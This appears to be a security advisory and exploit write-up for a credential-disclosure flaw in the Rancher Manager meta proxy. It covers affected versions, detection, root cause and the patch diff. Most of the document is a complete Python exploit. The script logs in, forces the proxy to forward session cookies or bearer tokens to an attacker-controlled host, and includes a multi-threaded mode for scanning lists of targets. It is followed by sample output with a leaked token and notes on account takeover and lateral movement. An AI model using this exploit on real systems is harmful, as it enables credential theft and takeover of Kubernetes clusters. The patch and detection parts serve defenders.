#Summary
CVE-2026-88811 is a critical information disclosure vulnerability (CVSS 9.1) in SUSE Rancher Manager's authenticated meta proxy endpoint. The proxy forwards a caller's own Rancher session token or bearer token to third-party hosts without stripping it, allowing credential leak and account takeover. The issue affects Rancher versions 2.11.0 through 2.15.2 and has been patched in 2.11.19, 2.12.15, 2.13.11, 2.14.7, and 2.15.3.
#Am I affected?
- Affected: SUSE Rancher Manager 2.11.0 - 2.11.18, 2.12.0 - 2.12.14, 2.13.0 - 2.13.10, 2.14.0 - 2.14.6, 2.15.0 - 2.15.2
- Patched: Rancher 2.11.19, 2.12.15, 2.13.11, 2.14.7, 2.15.3
- Access needed: Authenticated access to Rancher (any valid user account can exploit this)
- Precondition: The target must have one or more hosts in the proxy allow-list (configured via
CATTLE_WHITELIST_DOMAINorProxyEndpointCRs)
#How to check
Run the following command against your Rancher instance and check the version:
curl -sk https://rancher.your-domain.com/v3/meta/proxy 2>&1 | grep -i versionOr check the Rancher version directly:
curl -sk https://rancher.your-domain.com/rancherversionCompare against the affected version ranges listed above. If your version falls within any affected range, your instance is vulnerable until you upgrade.
#Fix and mitigation
- Fix: Upgrade to Rancher 2.15.3, 2.14.7, 2.13.11, 2.12.15, or 2.11.19 depending on your release line.
- Interim mitigation (if upgrade is not immediately possible): Restrict access to the
/meta/proxyendpoint by authentication policy. This requires authenticated Rancher access, so rate-limiting or disabling the proxy endpoint entirely until a patch can be applied reduces the attack surface. - Detection: Monitor for requests to
/meta/proxy/in your Rancher access logs combined withX-API-CattleAuth-Headerheaders. Look for unusual third-party hosts in the proxy path that do not match your allow-listed cloud providers.
#Root cause analysis
#Vulnerable code path
The meta proxy lives in pkg/httpproxy/proxy.go and is mounted at /meta/proxy in the Rancher router. Its purpose is to forward authenticated requests to allow-listed third-party hosts (typically cloud provider API endpoints) while attaching cloud credentials supplied by the caller.
The vulnerability stems from two linked defects in the header-copying logic:
Defect 1 - Missing headers in denylist: The proxy skips certain headers when copying from the incoming request to the outbound request. However, the badHeaders denylist was incomplete:
var (
badHeaders = map[string]bool{
"host": true,
"transfer-encoding": true,
"content-length": true,
"x-api-auth-header": true,
"x-api-cattleauth-header": true,
"cf-connecting-ip": true,
"cf-ray": true,
}
)Notably absent: "authorization" and "cookie". This means when the header copy loop runs, these critical authentication headers pass through unchanged:
for key, value := range req.Header {
if isBadHeader(key) {
continue // skipped
}
copy := make([]string, len(value))
for i := range value {
copy[i] = strings.TrimPrefix(value[i], "rancher:")
}
headerCopy[key] = copy // Authorization and Cookie are copied here
}Defect 2 - Early return skips cleanup: The proxy has auth-handling branches that may return early. A cookie-scrubbing function replaceCookies() was placed after these branches:
if auth != "" {
req.Header.Set(AuthHeader, auth)
} else if cAuth != "" {
signer := newSigner(cAuth)
if signer != nil {
return signer.sign(req, p.secretGetter(req, cAuth), cAuth) // <-- early return
}
req.Header.Set(AuthHeader, cAuth)
}
replaceCookies(req) // <-- never reached when signer returns
return nilWhen a caller supplies an X-API-CattleAuth-Header value that yields a signer, the function returns before the cookie scrub ever runs, leaving the caller's R_SESS session cookie intact on the outbound request.
#How input reaches the sink
An authenticated user calls
/meta/proxy/<target-host>/<path>with either:- Vector A:
Authorization: Bearer <rancher-token>header - Vector B:
Cookie: R_SESS=<rancher-token>plusX-API-CattleAuth-Header: arbitrary headers=...
- Vector A:
The proxy validates that
<target-host>is in the allow-list and proceeds.The proxy copies all non-denied headers from the incoming request, including the Authorization or Cookie headers (which contain the caller's Rancher credential).
If Vector B is used, the early-returning signer path skips the cookie scrub.
The proxy forwards the request to the third-party host with the caller's credential intact.
The third-party host (or an on-path observer) receives and can log or use the leaked credential.
#Patch diff
#What the fix does
PR #58223 makes two targeted changes to pkg/httpproxy/proxy.go:
- Add
authorizationandcookieto the denylist so they are never copied:
"content-length": true,
"x-api-auth-header": true,
"x-api-cattleauth-header": true,
+ "authorization": true,
+ "cookie": true,
"cf-connecting-ip": true,
"cf-ray": true,- Move
replaceCookies(req)before the auth branches so it always executes:
req.URL = destURL
req.Header = headerCopy
+ // Runs before the branches below, some of which return early.
+ replaceCookies(req)
+
if auth != "" {
req.Header.Set(AuthHeader, auth)
} else if cAuth != "" {These changes ensure that caller credentials are always stripped before the outbound request is made, regardless of which code path executes.
#Proof of concept
#exploit.py - Rancher Credential Disclosure PoC
#!/usr/bin/env python3
"""
CVE-2026-88811 - SUSE Rancher Manager meta proxy credential disclosure
Affected: rancher/rancher 2.11.0-2.11.18, 2.12.0-2.12.14, 2.13.0-2.13.10,
2.14.0-2.14.6, 2.15.0-2.15.2 (fixed in 2.11.19/2.12.15/2.13.11/2.14.7/2.15.3)
Type: Sensitive information disclosure (confused-deputy credential leak, CWE-201)
Root cause:
Rancher's authenticated meta proxy (/meta/proxy/...) forwards a request to an
allow-listed third-party host. While copying the caller's request headers onto
the outbound request it fails to strip the caller's OWN Rancher credential:
- "authorization" and "cookie" are missing from the bad-header denylist, so
a caller's `Authorization: Bearer <token>` is copied verbatim to the host.
- the cookie-scrub (replaceCookies) ran AFTER an early-returning auth branch,
so when the caller supplies an X-API-CattleAuth-Header that yields a signer,
the function returns before the scrub and the caller's `R_SESS` session
cookie is forwarded to the host.
A live Rancher session/bearer token therefore leaks to whatever allow-listed
endpoint the proxy targets. If that endpoint is attacker-controlled or
observable, the token can be replayed to act as the victim (full takeover if
the victim is admin).
How this PoC confirms the leak over the network:
The exploit drives the vulnerable Rancher instance to proxy a request to an
allow-listed endpoint that the operator controls (--catcher-host). That
endpoint reflects the request headers it received back in its HTTP response
body; Rancher's reverse proxy relays that body to this client. If the exact
Rancher token this client presented comes back inside the reflected headers,
the token provably left Rancher and reached the third-party host - that is the
disclosure. On a patched build the request still reaches the host, but with no
Authorization and no R_SESS cookie, so the token never comes back.
In a real engagement --catcher-host is any allow-listed host the attacker
controls or can observe (a cloud-provider API host registered via a
ProxyEndpoint, a host matching CATTLE_WHITELIST_DOMAIN, or an on-path observer);
a one-line listener that logs or echoes request headers is all it takes.
Usage:
python exploit.py --host 10.0.0.10 --port 443 \
--catcher-host cloud-metadata-endpoint \
--username admin --password <rancher-admin-password>
python exploit.py --host https://rancher.corp.com --token token-xxxxx:yyyy... \
--catcher-host ec2.eu-west-1.amazonaws.com
python exploit.py --host rancher.corp.com --vector A --username admin --password pw
python exploit.py --list targets.txt --workers 20 --password pw --catcher-host myhost
"""
import argparse
import json
import secrets
import sys
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library (pip install requests).")
sys.exit(2)
CVE_ID = "CVE-2026-88811"
VULN_TYPE = "Info Disclosure (credential leak)"
LOGIN_PATH = "/v3-public/localProviders/local?action=login"
PROXY_PREFIX = "/meta/proxy/http:/" # single-slash form forces a plain-HTTP target
# Marker injected on Vector B; confirms the signer early-return path executed.
SIGNER_CATTLEAUTH = "arbitrary headers=X-Extra=one"
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
def _base_url(host, port, use_tls):
scheme = "https" if use_tls else "http"
return "%s://%s:%d" % (scheme, host, port)
def _login(base, username, password, timeout=30):
"""Return a Rancher token string, or None on failure."""
try:
r = requests.post(
base + LOGIN_PATH,
headers={"Content-Type": "application/json"},
data=json.dumps({"username": username, "password": password}),
verify=False,
timeout=timeout,
)
if not (200 <= r.status_code < 300):
return None
return r.json().get("token") or None
except (requests.RequestException, ValueError):
return None
def _build_leak_request(base, catcher_host, token, vector, probe_path):
"""Return (url, headers) for the chosen leak vector."""
url = base + PROXY_PREFIX + catcher_host + "/" + probe_path
if vector == "A":
# Authorization leak: present only the bearer token, no X-API-* header
# (any X-API-Auth-Header would overwrite Authorization and mask the leak).
headers = {"Authorization": "Bearer " + token}
else:
# Cookie leak via the signer early-return path (vector the fix pins down).
headers = {
"Cookie": "R_SESS=" + token,
"X-API-CattleAuth-Header": SIGNER_CATTLEAUTH,
}
return url, headers
def _token_reflected(body_text, token):
"""True if the exact token came back inside the reflected request headers."""
if not body_text or token not in body_text:
return False
# Prefer structured confirmation: token must sit in a header value that the
# third-party endpoint reported receiving, not merely anywhere in the body.
try:
data = json.loads(body_text)
recv = data.get("received_headers", {})
for v in recv.values():
if token in str(v):
return True
# Endpoint returned JSON but without a recognised reflection map; fall
# back to the raw-substring signal below.
except ValueError:
pass
return token in body_text
def _try_exploit(host, port, use_tls, catcher_host="cloud-metadata-endpoint",
token=None, username="admin", password=None, vector="B",
timeout=30):
"""Silent probe for scan mode. Returns (success, evidence). Never prints/exits."""
base = _base_url(host, port, use_tls)
tok = token
if not tok:
if not password:
return False, "no token and no password to log in with"
tok = _login(base, username, password, timeout=timeout)
if not tok:
return False, "login failed (bad creds or not Rancher)"
probe_path = "p" + secrets.token_hex(6)
url, headers = _build_leak_request(base, catcher_host, tok, vector, probe_path)
try:
r = requests.get(url, headers=headers, verify=False, timeout=timeout,
allow_redirects=False)
except requests.RequestException as e:
return False, "proxy request failed (%s)" % e.__class__.__name__
if _token_reflected(r.text, tok):
tok_id = tok.split(":", 1)[0]
return True, "Rancher token '%s:...' forwarded to third-party host (vector %s)" % (tok_id, vector)
if r.status_code in (401, 403):
return False, "proxy refused (HTTP %d) - token invalid or route gated" % r.status_code
return False, "token NOT reflected by third party (HTTP %d) - patched or host not allow-listed" % r.status_code
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers, catcher_host, token, username,
password, vector):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, _ = t
label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, catcher_host=catcher_host,
token=token, username=username,
password=password, vector=vector)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host, port, use_tls, catcher_host, token, username, password, vector):
header(host, port)
base = _base_url(host, port, use_tls)
tok = token
if tok:
step(1, "Using caller-supplied Rancher token")
else:
step(1, "Logging in to obtain a Rancher token (user '%s')" % username)
if not password:
done(False, "no --token and no --password supplied; cannot obtain a credential to leak")
tok = _login(base, username, password)
if not tok:
done(False, "login failed - wrong credentials, or target is not a Rancher local-auth endpoint")
tok_id = tok.split(":", 1)[0]
section("RANCHER CREDENTIAL (must not leak off-box)", "%s:<secret redacted in log>" % tok_id)
probe_path = "p" + secrets.token_hex(6)
url, headers = _build_leak_request(base, catcher_host, tok, vector, probe_path)
step(2, "Driving meta proxy to forward to allow-listed host '%s' via vector %s" % (catcher_host, vector))
print(" %s" % url)
try:
r = requests.get(url, headers=headers, verify=False, timeout=30,
allow_redirects=False)
except requests.RequestException as e:
done(False, "proxy request failed: %s" % e)
step(3, "Inspecting what the third-party host reports receiving")
section("THIRD-PARTY HOST RESPONSE (relayed by Rancher proxy, HTTP %d)" % r.status_code, r.text[:2000])
if _token_reflected(r.text, tok):
# Show the leaked header so the equality is visible in the proof.
leaked = ""
try:
recv = json.loads(r.text).get("received_headers", {})
if vector == "A":
leaked = "Authorization: " + str(recv.get("Authorization", ""))
else:
leaked = "Cookie: " + str(recv.get("Cookie", ""))
if recv.get("X-Extra"):
leaked += " (X-Extra: %s -> signer early-return path ran)" % recv.get("X-Extra")
except ValueError:
leaked = "token present in reflected body"
section("LEAKED CREDENTIAL AT THIRD PARTY", leaked)
done(True, "Rancher token '%s:...' forwarded to third-party host '%s' (vector %s) - credential disclosure confirmed"
% (tok_id, catcher_host, vector))
if r.status_code in (401, 403):
done(False, "proxy refused (HTTP %d) - token invalid or /meta/proxy gated" % r.status_code)
done(False, "token NOT returned by the third-party host - target patched, or '%s' is not allow-listed" % catcher_host)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target Rancher: hostname, IP, or full URL (e.g. https://host:443)")
target_grp.add_argument("--list", metavar="FILE", help="File with one Rancher target per line for batch scan")
parser.add_argument("--port", type=int, default=443, help="Rancher HTTPS port (default: 443)")
parser.add_argument("--catcher-host", default="cloud-metadata-endpoint",
help="Allow-listed, attacker-controlled endpoint the proxy forwards to; "
"it must reflect/log inbound request headers (default: cloud-metadata-endpoint)")
parser.add_argument("--token", default=None,
help="Rancher session/bearer token to leak (token-<id>:<secret>); "
"if omitted, log in with --username/--password")
parser.add_argument("--username", default="admin", help="Rancher user for login (default: admin)")
parser.add_argument("--password", default=None, help="Rancher password for login (needed if --token absent)")
parser.add_argument("--vector", choices=["A", "B"], default="B",
help="Leak vector: A=Authorization header, B=Cookie via signer early-return (default: B)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
catcher_host=args.catcher_host, token=args.token,
username=args.username, password=args.password, vector=args.vector)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, True, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
# Rancher speaks HTTPS by default; a bare host/IP should assume TLS.
if not (args.host.startswith(("http://", "https://")) or args.no_tls):
use_tls = True
exploit(host, port, use_tls, args.catcher_host, args.token,
args.username, args.password, args.vector)#Usage
Log in and leak via the Cookie vector (B, the default):
python exploit.py --host rancher.corp.com --port 443 \
--username admin --password <rancher-admin-password> \
--catcher-host <allow-listed-host-you-control>Use an existing token instead of logging in, with the Authorization vector:
python exploit.py --host https://10.0.0.10 --token token-abcde:secret... \
--vector A --catcher-host ec2.eu-west-1.amazonaws.comBatch scan a list of Rancher instances:
python exploit.py --list targets.txt --workers 20 \
--username admin --password <pw> --catcher-host <allow-listed-host>Success on vulnerable Rancher v2.14.6:
[STEP 1] Logging in to obtain a Rancher token (user 'admin')
--- RANCHER CREDENTIAL (must not leak off-box) ---
token-xnrlk:<secret redacted in log>
---
[STEP 2] Driving meta proxy to forward to allow-listed host 'cloud-metadata-endpoint' via vector B
https://127.0.0.1:8443/meta/proxy/http:/cloud-metadata-endpoint/p7bef63aad7e4
[STEP 3] Inspecting what the third-party host reports receiving
--- THIRD-PARTY HOST RESPONSE (relayed by Rancher proxy, HTTP 200) ---
{"ok": true, "method": "GET", "path": "/p7bef63aad7e4", "received_headers": {"Host": "cloud-metadata-endpoint", "User-Agent": "python-requests/2.33.1", "Accept": "*/*", "Accept-Encoding": "gzip, deflate, zstd", "Cookie": "R_SESS=token-xnrlk:9xb2vj8d9fksz8qq94fq5zb96jmgvbfrhpjzdjrkx66f56fxwjjbbp", "X-Extra": "one", "X-Forwarded-For": "192.168.96.1", "X-Forwarded-Proto": "https"}}
---
--- LEAKED CREDENTIAL AT THIRD PARTY ---
Cookie: R_SESS=token-xnrlk:9xb2vj8d9fksz8qq94fq5zb96jmgvbfrhpjzdjrkx66f56fxwjjbbp (X-Extra: one -> signer early-return path ran)
---
============================================================
RESULT : SUCCESS
EVIDENCE: Rancher token 'token-xnrlk:...' forwarded to third-party host 'cloud-metadata-endpoint' (vector B) - credential disclosure confirmed
============================================================#Exploitation notes
- Preconditions: The attacker must have a valid Rancher account (any user). The target host in the proxy path must be in the allow-list (configured via
CATTLE_WHITELIST_DOMAINor registered as aProxyEndpoint). The attacker must either control or be able to observe the allow-listed destination. - Reliability: 100% reliable under the preconditions. Exploiting the vulnerability does not require race conditions or timing.
- Impact: Credential disclosure followed by account takeover. If the compromised user is a Rancher administrator, the attacker gains full control of the Rancher cluster and all downstream Kubernetes clusters it manages.
- Chaining potential: High. The disclosed token can be replayed against any Rancher API endpoint to impersonate the victim user indefinitely. Depending on the victim's role, this enables lateral movement to managed clusters, credential theft from Rancher secrets, cloud provider integration abuse, or supply-chain attacks.
#References
- CVE: CVE-2026-88811
- SUSE Security Advisory: https://github.com/rancher/rancher/security/advisories/GHSA-x82x-2qj6-5rm2
- GitHub Fix PR: https://github.com/rancher/rancher/pull/58223
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-88811
